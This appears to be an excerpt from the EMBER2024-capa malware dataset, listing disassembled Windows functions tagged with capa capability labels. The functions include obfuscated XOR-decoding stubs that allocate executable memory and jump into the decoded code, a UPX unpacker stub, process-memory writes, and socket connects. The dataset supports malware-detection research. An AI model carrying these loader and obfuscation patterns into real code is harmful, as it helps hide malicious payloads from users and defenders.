joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006245
Capabilities:
Create thread
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x100393b8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1003a5b4], 0
push edi
mov edi, dword [ebp + 8]
jne 0x1000630c
push ebx
push esi
push 0x10023bfc
push 0x10023c00
call fcn.1000f31c
push 0x10023c10
push dword [edi]
mov esi, eax
call fcn.1000f31c
xor ebx, ebx
mov edi, eax
inc ebx
jmp 0x1000629d
push eax
lea eax, [ebp - 0x204]
push ebx
push eax
call fcn.1000f868
push esi
push 0x200
lea eax, [ebp - 0x204]
push ebx
push eax
call fcn.1000f4ff
add esp, 0x20
push edi
test eax, eax
jne 0x1000628f
mov dword [0x1003a5b4], ebx
call fcn.1000f1db
push esi
call fcn.1000f1db
lea eax, [ebp - 0x204]
push eax
call fcn.100067ad
add esp, 0xc
xor esi, esi
push esi
push 2
push 0x10039324
push dword [0x10039328]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.100057ef
push esi
push esi
push esi
push 0x100054f5
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10006764
leave
ret

Function at 0x1000646d
Capabilities:
Create thread

Disassembly:
push edi
xor edi, edi
push edi
push edi
push edi
push 0x10004bb4
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10006617
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop edi
ret

Function at 0x10006537
Capabilities:
Connect socket
Create thread

Disassembly:
mov eax, dword [0x1003a580]
inc dword [0x1003a50c]
mov dword [0x1003a584], eax
push esi
test eax, eax
je 0x100065ac
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, eax
mov dword [0x10039320], ecx
cmp ecx, 0xffffffff
jne 0x10006582
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_failed_with_error:__ld_n
call fcn.10004765
pop ecx
pop ecx
pop esi
jmp dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x1003a584]
push dword [eax + 0x10]
push dword [eax + 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100065d0
and dword [0x1003a50c], 0
mov eax, dword [0x1003a580]
mov byte [0x1003a2f1], 1
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x10039320], 0xffffffff
jne 0x100065ce
push str.Unable_to_connect_to_server__n
call fcn.10004765
pop ecx
pop esi
jmp dword [sym.imp.WS2_32.dll_WSACleanup]
pop esi
ret
xor esi, esi
push esi
push esi
push esi
push 0x10005585
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push 0x10023844
push str.Server_is_offline_right_now._nTry_again_later.
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 2
push dword [0x10039320]
call dword [sym.imp.WS2_32.dll_shutdown]
or dword [0x10039320], 0xffffffff
call fcn.1000660f
int3

Function at 0x10016bf4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10016a73
Function at 0x40c250
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
or ebp, 0xffffffff
jmp 0x40c272
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40c279
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40c268
mov eax, 1
add ebx, ebx
jne 0x40c28b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40c280
jne 0x40c29c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c280
xor ecx, ecx
sub eax, 3
jb 0x40c2b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40c322
mov ebp, eax
add ebx, ebx
jne 0x40c2bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40c2c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40c2ec
inc ecx
add ebx, ebx
jne 0x40c2d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40c2cd
jne 0x40c2e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c2cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40c30c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40c2fd
jmp 0x40c26e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40c30c
add edi, ecx
jmp 0x40c26e
pop esi
mov edi, esi
mov ecx, 0xae
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40c32a
cmp byte [edi], 1
jne 0x40c32a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40c32f
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x40c3a7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc554]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc610]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40c35c
mov ecx, edi
jns 0x40c38b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc618]
or eax, eax
je 0x40c3a1
mov dword [ebx], eax
add ebx, 4
jmp 0x40c379
call dword [esi + 0xc614]
mov ebp, dword [esi + 0xc61c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40c3db
sub esp, 0xffffff80
jmp 0x403946
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100080d6
pop dword [ebp - 0x14]
mov eax, 0xca5dedc4
sub eax, 0xba5d6cee
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3665a
push 0
mov eax, 0x773cb9f7
sub eax, 0x673b7993
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x3d94
mov edx, eax
mov ebx, 0xf146036b
sub ebx, 0xe1447d6b
add ebx, dword [ebp - 0x14]
mov esi, 0xd841ca35
sub esi, 0x96bffef9
sub dword [ebp - 0xc], 0x672f8e3f
mov edi, dword [ebx]
sub dword [ebp - 0xc], esi
sub edi, esi
xor dword [ebp - 8], 0xfe1ed789
mov dword [edx], edi
add dword [ebp - 4], 0x7938eac
add edx, 4
add ebx, 0x9e27906
add ebx, 0xf61d86fe
loop 0x1000812f
add eax, 0xb3e4b016
add eax, 0x4c1c390d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x951d3ec
add ecx, 0x6ae2c14
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x7002e77
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x701a85c]
jne 0x7002e81
repz ret
jmp fcn.0700f55f

Function at 0x70041b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x70041c5
pop dword [ebp - 0x10]
mov eax, 0x70041c5
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x8841d698
sub dword [ebp - 0x20], 0x39ef914d
mov dword [ebp - 0x1c], 0x5ea9ce2b
sub dword [ebp - 0x1c], 0x2c7681e6
mov dword [ebp - 0x18], 0x8bcb7c78
sub dword [ebp - 0x18], 0x3f7f384a
mov dword [ebp - 0x14], 0x66f1552a
add dword [ebp - 0x14], 0x990eaad6
lea eax, [ebp - 0x20]
push eax
mov eax, 0xa4d678a7
sub eax, 0x9dd5587b
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xc579c0c8
add dword [ebp - 0x20], 0xaef8a88e
mov dword [ebp - 0x1c], 0x8eea569c
add dword [ebp - 0x1c], 0xb2820ad9
mov dword [ebp - 0x18], 0x3052c2b1
add dword [ebp - 0x18], 0x331ca9bb
mov dword [ebp - 0x14], 0x37132adc
add dword [ebp - 0x14], 0xc8ecd524
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x3cbe348f
sub eax, 0x35bd1467
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39ed9
push 0
call eax
mov ecx, 0x5943941
sub ecx, 0x593f3ff
mov esi, eax
mov edx, 0xddbdb063
add edx, 0x29442f9d
add edx, dword [ebp - 0x10]
mov ebx, 0x96014d6e
add ebx, 0x31d30177
sub dword [ebp - 8], 0x23e6f3bf
mov edi, dword [edx]
xor dword [ebp - 0xc], ecx
xor edi, ebx
mov dword [ebp - 8], 0x1f2daa5
mov dword [esi], edi
mov dword [ebp - 0xc], 0x10e98af6
add esi, 4
add edx, 0xd22a0e02
add edx, 0x2dd5f202
loop 0x70042e2
add eax, 0x7207e233
add eax, 0x8df925a8
mov ebx, eax
add eax, 5
mov ecx, 0x7000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x700d408
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d476
cmp byte [esi + 0x10], 0
je 0x700d427
push eax
call dword [sym.imp.MSVCR100.dll_fflush]
pop ecx
mov byte [esi + 0x10], 0
push edi
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d464
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_feof]
pop ecx
test eax, eax
jne 0x700d464
push str.stream_read_error
push eax
call fcn.070041b6
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700d478
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x700d940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
je 0x700d95b
push str.Attempt_to_write_read_only_stream
push 0
call fcn.070041b6
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d999
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d98c
push 0x7013b70
jmp 0x700d954
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8

Function at 0x700dbc5
Capabilities:
Set current directory

Disassembly:
push 4
mov eax, 0x7010ec2
call fcn.07001aa5
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
push edi
call fcn.0700da5a
and dword [esi + 0xc], 0
and dword [ebp - 4], 0
mov dword [esi], vtable.FileSharedStream.0
mov byte [esi + 0x10], 0
mov eax, dword [edi + 0x14]
mov dword [esi + 0x14], eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.0700d99e
lea ecx, [ebp + 8]
call fcn.0700d6a0
mov eax, dword [esi + 0x14]
push dword [eax + 0x14]
mov edi, dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov byte [ebp - 4], 2
call edi
mov eax, dword [esi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700dc35
mov eax, dword [eax + 0x14]
jmp 0x700dc3a
mov eax, 0x7012365
push 0x7013bb4
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [esi + 0xc], eax
test eax, eax
jne 0x700dc5a
push 0x7013ba0
push eax
call fcn.070041b6
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp + 8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 1
call edi
push dword [ebp + 8]
mov ecx, 0x701a480
call fcn.070041b6
mov eax, esi
call fcn.07002d5f
ret 4
Function at 0x1001dc93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1001dca2
pop dword [ebp - 0x3c]
mov eax, 0x8bf593d8
add eax, 0x840c48ca
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x1497f42b
sub dword [ebp - 0x4c], 0xc645aee0
mov dword [ebp - 0x48], 0x1ff6ce1c
sub dword [ebp - 0x48], 0xedc381d7
mov dword [ebp - 0x44], 0x3bdefe8e
add dword [ebp - 0x44], 0x106d45a0
mov dword [ebp - 0x40], 0x2f86e1b9
add dword [ebp - 0x40], 0xd0791e47
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x462efa6f
add dword [ebp - 0x4c], 0x2e436ee7
mov dword [ebp - 0x48], 0x98d04503
sub dword [ebp - 0x48], 0x5763e38e
mov dword [ebp - 0x44], 0xfb707d4c
sub dword [ebp - 0x44], 0x980110e0
mov dword [ebp - 0x40], 0x3c51a6e1
sub dword [ebp - 0x40], 0x3c51a6e1
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xe52b366a
add eax, 0x2ad6e9d6
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a430
push 0
call eax
mov ecx, 0x5089
mov edi, eax
mov ebx, 0xc60e2cf5
sub ebx, 0xb60b10f5
add ebx, dword [ebp - 0x3c]
mov esi, 0xaab56937
add esi, 0xce17d6f8
add dword [ebp - 0x24], ecx
mov edx, dword [ebx]
sub dword [ebp - 0x20], edx
xor edx, esi
mov dword [ebp - 0x28], 0x16355039
mov dword [edi], edx
sub dword [ebp - 0x34], 0x5fbb9300
add edi, 0x6df6a61a
add edi, 0x920959ea
add ebx, 0x97b7527a
sub ebx, 0x97b75276
loop 0x1001ddb9
add eax, 0x134f7
mov ebx, eax
add eax, 0xa3c50be9
add eax, 0x5c3af41c
mov ecx, 0x32f90756
sub ecx, 0x22f90756
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x1001deb6
Capabilities:
Hide graphical window

Disassembly:
push edi
mov edi, dword [esp + 8]
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x289c]
cdq
sub eax, edx
sar eax, 1
push 1
mov dword [edi + 0x292c], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [edi + 0x2930], eax
mov eax, dword [edi + 0x2d50]
test eax, eax
je 0x1001df26
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x28a0]
push dword [edi + 0x289c]
push dword [edi + 0x2930]
push dword [edi + 0x292c]
push dword [edi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push edi
call fcn.1001df2f
pop ecx
pop edi
ret
Function at 0x40319b
Capabilities:
Check os version

Disassembly:
mov eax, dword fs:[0x18]
sub esp, 0x74
mov eax, dword [eax + 0x30]
cmp dword [eax + 0xa4], 6
jae 0x403372
cmp dword [0x4995b0], 0
jne 0x40336b
push ebx
push ebp
push edi
call fcn.00403e18
mov ebx, eax
test ebx, ebx
jne 0x4031de
push eax
push eax
push 1
push 0xc0000264
call dword [sym.imp.KERNEL32.dll_RaiseException]
push 0x5c
pop edx
push 0x4b
pop eax
push 0x65
pop ecx
push 0x72
mov word [esp + 0x36], ax
pop eax
push 0x6e
mov word [esp + 0x3a], ax
pop eax
push 0x6c
mov word [esp + 0x3c], ax
pop eax
push 0x4f
pop edi
push 0x62
mov word [esp + 0x40], ax
pop eax
push 0x6a
mov word [esp + 0x44], ax
pop eax
push 0x63
mov word [esp + 0x46], ax
mov word [esp + 0x38], cx
mov word [esp + 0x3e], cx
mov word [esp + 0x48], cx
pop ecx
push 0x74
pop ebp
push 0x73
pop eax
push 0x43
mov word [esp + 0x4e], ax
pop eax
push 0x72
mov word [esp + 0x52], ax
mov word [esp + 0x34], dx
mov word [esp + 0x50], dx
pop edx
push 0x69
pop eax
push 0x53
mov word [esp + 0x56], ax
pop eax
push 0x65
mov word [esp + 0x5a], ax
pop eax
push 0x75
mov word [esp + 0x5c], ax
pop eax
push 0x66
mov word [esp + 0x62], ax
pop eax
push 0x4d
mov word [esp + 0x68], ax
pop eax
push 0x65
mov word [esp + 0x4a], cx
mov word [esp + 0x5e], cx
pop ecx
push 0x6d
mov word [esp + 0x6a], ax
pop eax
push 0x6f
mov word [esp + 0x6e], ax
pop eax
push 0x79
mov word [esp + 0x70], ax
pop eax
mov word [esp + 0x3e], di
mov word [esp + 0x48], bp
mov word [esp + 0x50], dx
mov word [esp + 0x54], bp
mov word [esp + 0x5c], di
mov word [esp + 0x60], bp
mov word [esp + 0x62], di
mov word [esp + 0x68], cx
mov word [esp + 0x6e], dx
mov word [esp + 0x70], ax
push 0x45
pop eax
mov word [esp + 0x72], ax
lea edi, [esp + 0x24]
push 0x76
pop eax
mov word [esp + 0x74], ax
push 0x6e
pop eax
mov word [esp + 0x78], ax
xor eax, eax
mov word [esp + 0x7c], ax
push 0x4c
pop eax
mov word [esp + 0x10], ax
mov word [esp + 0x12], ax
lea eax, [esp + 0x30]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x20], eax
xor eax, eax
mov word [esp + 0x7a], bp
xor ebp, ebp
mov dword [esp + 0x18], 0x18
mov dword [esp + 0x1c], ebp
stosd dword es:[edi], eax
mov word [esp + 0x76], cx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
push 0x2000000
lea eax, [esp + 0x14]
push eax
call ebx
test eax, eax
jns 0x40334c
push ebp
push ebp
push 1
push 0xc0000264
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov ecx, dword [esp + 0xc]
mov edx, 0x4995b0
xor eax, eax
lock cmpxchg dword [edx], ecx
pop edi
pop ebp
pop ebx
test eax, eax
je 0x40336b
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4995b0]
jmp 0x403374
xor eax, eax
add esp, 0x74
ret
Function at 0x419e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp edx, eax
je 0x419fec
cmp dword [edx + 0x1c], 7
mov eax, dword [ecx + 4]
push esi
mov dword [ebp - 0x18], eax
mov esi, edx
mov eax, dword [ecx + 0xc]
push edi
mov dword [ebp - 0x14], eax
lea edi, [edx + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 8], eax
mov eax, dword [edi + 0x10]
jbe 0x419e8b
mov edi, dword [edi]
xor edx, edx
push ebx
mov ebx, 0x811c9dc5
add eax, eax
je 0x419eb4
mov ecx, eax
nop dword [eax]
movzx eax, byte [edx + edi]
inc edx
xor eax, ebx
imul ebx, eax, 0x1000193
cmp edx, ecx
jb 0x419ea0
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x18]
mov ecx, dword [ebp - 0x14]
and eax, ebx
lea eax, [ecx + eax*8]
mov ecx, dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.00418f90
push 0x2c
push edi
call fcn.00466baf
mov eax, dword [ebp - 4]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x1c]
je 0x419f19
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x419ed0
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 8]
jne 0x419f08
mov edx, dword [ebp - 0xc]
mov dword [edx], esi
mov ecx, dword [ebp - 8]
pop ebx
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x419f2b
mov ecx, dword [ebp - 0x18]
mov dword [edx], ecx
jmp 0x419f2e
mov ecx, dword [ebp - 8]
mov dword [edx + 4], ecx
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
je 0x419fdf
nop dword [eax]
cmp dword [esi + 0x1c], 7
lea edx, [esi + 8]
mov ebx, dword [edx + 0x10]
jbe 0x419f4e
mov edx, dword [edx]
xor ecx, ecx
mov edi, 0x811c9dc5
add ebx, ebx
je 0x419f74
nop dword [eax]
movzx eax, byte [ecx + edx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, ebx
jb 0x419f60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x18]
mov ecx, dword [ebp - 0x14]
and eax, edi
lea eax, [ecx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.00418f90
push 0x2c
push edi
call fcn.00466baf
mov eax, dword [ebp - 4]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x1c]
je 0x419fc9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x419f88
mov ecx, dword [ebp + 8]
pop ebx
pop edi
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov edi, dword [ebp - 0x18]
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
jne 0x419f40
mov eax, dword [ebp - 8]
pop ebx
pop edi
mov dword [eax], esi
mov dword [esi + 4], eax
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x41b410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474783
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x495240]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov esi, dword [ebp + 8]
lea edi, [ebx + 4]
push 0x30
mov dword [ebp - 0x14], edi
mov eax, dword [esi]
mov dword [ebx], eax
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.00466b7f
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [edi], eax
lea ecx, [ebx + 0xc]
mov dword [ebp - 4], 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov eax, dword [esi + 0x18]
mov dword [ebx + 0x18], eax
mov eax, dword [esi + 0x1c]
mov dword [ebx + 0x1c], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
push dword [edi]
sar eax, 2
push eax
mov byte [ebp - 4], 1
call fcn.004198d0
mov eax, dword [esi + 4]
mov dword [ebp - 0x1c], eax
mov esi, dword [eax]
cmp esi, eax
je 0x41b5e5
cmp dword [esi + 0x1c], 0xf
lea ebx, [esi + 8]
mov edx, ebx
jbe 0x41b4c4
mov edx, dword [ebx]
xor ecx, ecx
mov edi, 0x811c9dc5
cmp dword [ebx + 0x10], ecx
jbe 0x41b4e2
movzx eax, byte [ecx + edx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, dword [ebx + 0x10]
jb 0x41b4d0
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push edi
push ebx
push eax
call fcn.0041cd00
cmp dword [ebp - 0x20], 0
jne 0x41b5d7
mov eax, dword [ebp - 0x10]
cmp dword [eax + 8], 0x5555555
je 0x41b5fb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
push 0x30
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], 0
call fcn.00466b7f
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], eax
add eax, 8
mov ecx, eax
mov dword [ebp + 8], eax
push ebx
call fcn.0040af50
mov ecx, dword [ebp + 8]
lea eax, [ebx + 0x18]
add ecx, 0x18
mov byte [ebp - 4], 3
push eax
call fcn.0040aa20
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 4], 4
mov eax, dword [ebx + 8]
inc eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x480de0]
mov eax, dword [ebx + 0x1c]
cvtpd2ps xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x480de0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [ebx]
seta al
test al, al
je 0x41b5bb
mov ecx, ebx
call fcn.0042f330
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x34]
mov ecx, ebx
push eax
call fcn.0041cd00
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
jmp 0x41b5be
mov ecx, dword [ebp - 0x24]
push dword [ebp - 0x18]
mov dword [ebp - 0x28], 0
push ecx
push edi
mov ecx, ebx
call fcn.00419cb0
mov byte [ebp - 4], 1
jmp 0x41b5da
mov ebx, dword [ebp - 0x10]
mov esi, dword [esi]
cmp esi, dword [ebp - 0x1c]
jne 0x41b4b7
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
